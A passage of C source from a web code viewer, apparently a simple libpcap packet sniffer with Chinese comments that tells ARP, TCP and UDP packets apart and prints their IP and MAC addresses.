||||||
|
src_mac_x[0], src_mac_x[1], src_mac_x[2], src_mac_x[3], src_mac_x[4], src_mac_x[5]);
|
||||||
|
|
||||||
|
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||||
|
dst_mac_x[0], dst_mac_x[1], dst_mac_x[2], dst_mac_x[3], dst_mac_x[4], dst_mac_x[5]);
|
||||||
|
|
||||||
|
if (ntohs(eth_hdr->ether_type) == ETHERTYPE_ARP)
|
||||||
|
{
|
||||||
|
// 拆分源 ip 地址和目的 ip 地址
|
||||||
|
unsigned char src_ip[INET_ADDRSTRLEN] = ""; // 源 ip 地址
|
||||||
|
unsigned char dst_ip[INET_ADDRSTRLEN] = ""; // 目的 ip 地址
|
||||||
|
struct ether_arp *arp_hdr = (struct ether_arp *)(packet + sizeof(struct ether_header));
|
||||||
|
inet_ntop(AF_INET, arp_hdr->arp_spa, src_ip, INET_ADDRSTRLEN); // 拷贝源 ip 地址
|
||||||
|
inet_ntop(AF_INET, arp_hdr->arp_tpa, dst_ip, INET_ADDRSTRLEN); // 拷贝目的 ip 地址
|
||||||
|
|
||||||
|
printf("arp 报文\n");
|
||||||
|
printf("源地址: %s\t\t目的地址: %s\n源MAC: %s\t目的MAC: %s\n", src_ip, dst_ip, src_mac, dst_mac); // 打印 arp 报文信息
|
||||||
|
}
|
||||||
|
else if (ntohs(eth_hdr->ether_type) == ETHERTYPE_IP)
|
||||||
|
{
|
||||||
|
// 拆分源 ip 地址和目的 ip 地址
|
||||||
|
unsigned char src_ip[INET_ADDRSTRLEN] = ""; // 源 ip 地址
|
||||||
|
unsigned char dst_ip[INET_ADDRSTRLEN] = ""; // 目的 ip 地址
|
||||||
|
struct ip *ip_hdr = (struct ip *)(packet + sizeof(struct ether_header));
|
||||||
|
inet_ntop(AF_INET, &ip_hdr->ip_src, src_ip, INET_ADDRSTRLEN); // 拷贝源 ip 地址
|
||||||
|
inet_ntop(AF_INET, &ip_hdr->ip_dst, dst_ip, INET_ADDRSTRLEN); // 拷贝目的 ip 地址
|
||||||
|
|
||||||
|
printf("ip 报文\n");
|
||||||
|
|
||||||
|
// 分析 ip 报文类型
|
||||||
|
// 如果是 tcp 报文,则打印 tcp 报文信息
|
||||||
|
// 如果是 udp 报文,则打印 udp 报文信息
|
||||||
|
if (ip_hdr->ip_p == IPPROTO_TCP)
|
||||||
|
{
|
||||||
|
printf("tcp 报文\n");
|
||||||
|
printf("源地址: %s\t\t目的地址: %s\n源MAC: %s\t目的MAC: %s\n", src_ip, dst_ip, src_mac, dst_mac); // 打印 ip 报文信息
|
||||||
|
}
|
||||||
|
else if (ip_hdr->ip_p == IPPROTO_UDP)
|
||||||
|
{
|
||||||
|
printf("udp 报文\n");
|
||||||
|
printf("源地址: %s\t\t目的地址: %s\n源MAC: %s\t目的MAC: %s\n", src_ip, dst_ip, src_mac, dst_mac); // 打印 ip 报文信息
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("其他报文\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("其他报文\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭网络设备
|
||||||
|
pcap_close(pcap_handle);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user